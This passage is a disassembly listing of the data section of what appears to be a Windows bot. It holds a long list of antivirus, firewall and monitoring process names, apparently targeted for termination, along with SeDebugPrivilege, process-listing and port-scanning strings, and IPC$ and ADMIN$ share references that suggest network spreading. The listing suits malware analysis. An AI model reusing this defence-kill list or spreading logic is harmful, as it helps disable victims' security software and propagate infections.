aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .data:00434A88o
		align 10h
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .data:00434A84o
		align 4
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .data:00434A80o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .data:00434A7Co
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .data:00434A78o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .data:00434A74o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .data:00434A70o
		align 10h
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .data:00434A6Co
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .data:00434A68o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .data:00434A64o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .data:00434A60o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .data:00434A5Co
		align 4
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .data:00434A58o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .data:00434A54o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .data:00434A50o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:00434A4Co
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .data:00434A48o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .data:00434A44o
		align 10h
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .data:00434A40o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .data:00434A3Co
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .data:00434A38o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .data:00434A30o
					; .data:00434A34o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .data:00434A2Co
		align 10h
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .data:00434A28o
		align 10h
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .data:00434A24o
		align 10h
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .data:00434A20o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .data:00434A1Co
		align 4
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .data:00434A18o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .data:00434A14o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .data:00434A10o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .data:00434A0Co
		align 10h
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .data:00434A04o
					; .data:00434A08o
		align 4
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .data:00434A00o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .data:004349FCo
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .data:004349F8o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:004349F4o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .data:004349F0o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .data:004349ECo
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .data:004349E8o
		align 10h
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .data:004349E4o
		align 10h
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .data:004349E0o
		align 4
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .data:004349DCo
		align 4
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .data:004349D8o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .data:004349D4o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .data:004349D0o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:004349CCo
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .data:004349C8o
		align 10h
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:004349C4o
		align 4
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:004349C0o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:004349BCo
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .data:004349B8o
		align 10h
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .data:004349B4o
		align 4
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .data:004349B0o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:004349ACo
		align 4
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:004349A8o
		align 10h
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .data:004349A4o
		align 4
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .data:004349A0o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .data:0043499Co
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .data:00434998o
		align 10h
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .data:00434994o
		align 4
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .data:00434990o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .data:0043498Co
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .data:00434988o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .data:00434984o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .data:00434980o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .data:0043497Co
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .data:00434978o
		align 10h
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .data:00434974o
		align 4
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .data:00434970o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .data:0043496Co
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .data:00434968o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .data:00434964o
		align 10h
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .data:00434960o
		align 10h
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .data:0043495Co
		align 10h
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .data:00434958o
		align 4
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .data:00434954o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .data:00434950o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .data:00434948o
					; .data:0043494Co
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .data:00434944o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .data:00434940o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .data:0043493Co
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .data:00434938o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .data:00434934o
		align 4
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .data:00434930o
		align 4
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .data:0043492Co
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .data:00434928o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .data:00434924o
		align 10h
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .data:00434920o
		align 4
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .data:0043491Co
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .data:00434918o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .data:00434914o
		align 10h
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .data:00434910o
		align 10h
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .data:0043490Co
		align 10h
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .data:00434908o
		align 4
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .data:00434904o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:00434900o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .data:004348FCo
		align 4
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .data:004348F8o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .data:004348F4o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .data:004348F0o
		align 10h
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .data:004348ECo
		align 4
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .data:004348E8o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .data:004348E4o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .data:004348E0o
		align 10h
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .data:004348DCo
		align 4
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .data:004348D8o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .data:004348D4o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .data:004348D0o
		align 10h
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:004348CCo
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004348C8o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .data:004348C4o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .data:004348C0o
		align 10h
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .data:004348BCo
		align 4
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .data:004348B8o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .data:004348B4o
		align 10h
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004348B0o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .data:004348ACo
		align 10h
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .data:004348A8o
		align 4
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:004348A4o
		align 10h
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .data:004348A0o
		align 10h
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .data:0043489Co
		align 10h
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .data:00434898o
		align 4
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .data:00434894o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .data:00434890o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .data:0043488Co
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .data:00434888o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .data:00434884o
		align 4
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .data:00434880o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .data:0043487Co
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .data:00434878o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .data:00434874o
		align 10h
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .data:00434870o
		align 10h
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0043486Co
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .data:00434868o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .data:00434864o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .data:00434860o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .data:0043485Co
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .data:00434858o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .data:00434854o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .data:00434850o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .data:0043484Co
		align 10h
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .data:00434848o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .data:00434844o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .data:00434840o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .data:0043483Co
		align 10h
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .data:00434838o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .data:00434834o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .data:00434830o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .data:0043482Co
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .data:00434828o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .data:00434824o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .data:00434820o
		align 10h
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .data:0043481Co
		align 10h
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .data:00434818o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .data:00434814o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .data:00434810o
		align 10h
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .data:0043480Co
		align 10h
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .data:00434808o
		align 4
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .data:00434804o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .data:00434800o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .data:004347FCo
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .data:004347F8o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .data:004347F4o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .data:004347F0o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .data:004347E8o
		align 10h
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .data:004347E4o
		align 10h
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .data:004347E0o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .data:004347DCo
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .data:004347D8o
		align 10h
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .data:004347D4o
		align 10h
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .data:004347D0o
		align 10h
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .data:004347CCo
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004347C8o
		align 10h
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .data:004347C4o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .data:004347C0o
		align 4
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .data:004347BCo
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .data:004347B8o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .data:004347B4o
		align 10h
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .data:004347B0o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .data:004347ACo
		align 4
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .data:004347A8o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .data:004347A4o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .data:004347A0o
					; .data:004347ECo
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .data:0043479Co
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .data:00434798o
		align 10h
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .data:00434790o
					; .data:00434794o
		align 10h
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .data:0043478Co
		align 10h
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .data:00434788o
		align 4
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .data:00434784o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .data:00434780o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .data:0043477Co
		align 4
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .data:00434778o
		align 4
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .data:00434774o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .data:00434770o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .data:0043476Co
		align 4
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .data:00434768o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .data:00434764o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .data:00434760o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .data:0043475Co
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .data:00434758o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .data:00434754o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .data:00434750o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .data:0043474Co
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .data:00434748o
		align 10h
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .data:00434744o
		align 4
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00434740o
		align 10h
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .data:0043473Co
		align 4
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .data:00434738o
		align 4
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .data:00434734o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .data:00434730o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .data:0043472Co
		align 10h
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:00434728o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .data:00434724o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .data:00434720o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .data:00434718o
					; .data:0043471Co
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00434714o
		align 10h
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00434710o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .data:0043470Co
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .data:00434704o
					; .data:00434708o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .data:00434700o
		align 10h
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .data:004346FCo
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .data:004346F8o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .data:004346F4o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .data:004346F0o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .data:004346E8o
					; .data:004346ECo
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .data:004346E4o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .data:004346E0o
		align 4
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .data:004346DCo
		align 4
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .data:004346D8o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .data:004346D4o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .data:004346D0o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .data:004346CCo
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .data:004346C8o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .data:004346C4o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .data:004346C0o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .data:004346BCo
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .data:004346B8o
		align 10h
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .data:004346B4o
		align 4
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .data:004346B0o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .data:004346ACo
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .data:004346A8o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .data:004346A4o
		align 10h
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .data:004346A0o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .data:0043469Co
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .data:00434698o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .data:00434694o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .data:0043468Co
					; .data:00434690o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .data:00434684o
					; .data:00434688o
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .data:0043467Co
					; .data:00434680o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .data:00434674o
					; .data:00434678o
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .data:00434670o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .data:0043466Co
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .data:00434664o
					; .data:00434668o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .data:00434660o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .data:0043465Co
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .data:00434658o
		align 4
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .data:00434654o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .data:00434650o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .data:0043464Co
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .data:00434648o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .data:00434644o
		align 10h
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .data:00434640o
		align 10h
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .data:0043463Co
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .data:00434638o
		align 4
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .data:00434634o
		align 4
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .data:00434630o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .data:0043462Co
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .data:00434628o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .data:00434624o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .data:00434620o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .data:0043461Co
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .data:off_434618o
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4123B8+191o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4123B8+5Ao
					; sub_4123B8+1F3o
		align 10h
unk_4370F0	db    2			; DATA XREF: sub_4125E7:loc_41266Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aProcessListFai	db ' Process list failed.',0
		align 4
unk_437128	db    2			; DATA XREF: sub_4125E7+80o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aProcessListCom	db ' Process list completed.',0
		align 4
unk_437164	db    2			; DATA XREF: sub_4125E7+19o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aListingProcess	db ' Listing processes:',0
aConst		db 'const',0
		align 10h
		dd 0
dword_4371A4	dd 1		off_4371A8	dd offset sub_41274C	; DATA XREF: sub_412AB7+49r
aLetter		db 'letter',0
		align 8
		dd 2, 4127AAh, 706D6F63h, 2 dup(0)
		dd 3, 4127F7h, 6E756F63h, 797274h, 0
		dd 4, 412895h, 736Fh, 2	dup(0)
		dd 5, 41290Ah
aSI		db '%s%i',0             ; DATA XREF: sub_41274C+40o
					; .text:00412876o ...
		align 4
byte_437204	db 50h			; DATA XREF: .text:00412819o
					; .text:00412826r
		db 43h,	2 dup(0)
dword_437208	dd 7C7325h						; sub_412AB7+39o
aS_6		db '[%s]|',0            ; DATA XREF: .text:004129CEo
		align 4
a2k3		db '2K3',0              ; DATA XREF: .text:004129BEo
aDS		db '[%d]%s',0           ; DATA XREF: sub_412A14+3Ao
		align 10h
off_437220	dd offset byte_5D4D5B	; DATA XREF: sub_412A14+2Co
					; sub_412A14+57o
unk_437224	db    2			; DATA XREF: sub_412B20+92o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 10h
unk_437260	db    2			; DATA XREF: sub_412BED+41o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 10h
		dd 1D4C0h
		align 8
off_4372A8	dd offset aIpc		; DATA XREF: .text:00412E91o
					; "IPC$"
		align 10h
		dd offset aAdmin_1	; "ADMIN$"
		align 8
		dd offset dword_4372D4
		dd offset off_4372D0
		dd offset dword_4372CC
		dd offset off_4372C8
